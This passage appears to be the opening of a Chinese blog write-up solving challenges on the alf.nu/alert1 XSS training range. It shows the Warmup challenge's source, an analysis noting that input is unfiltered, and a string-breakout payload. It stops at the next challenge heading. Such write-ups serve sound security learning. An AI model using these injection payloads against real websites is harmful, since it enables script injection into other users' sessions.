XSS靶场（alf.nu/alert1）部分题目详解（26/29）
# XSS靶场(alf.nu/alert1)题目详解与技巧总结
## 1. Warmup
**源码**:
```javascript
function escape(s) {
return 'console.log("' + s + '");';
}
```
**分析**:
- 直接拼接用户输入到JS字符串中
- 无任何过滤措施
**Payload**:
```javascript
");alert(1)//
```
## 2. Adobe
**源码**:
```javascript
2025-08-26 05:28:57
0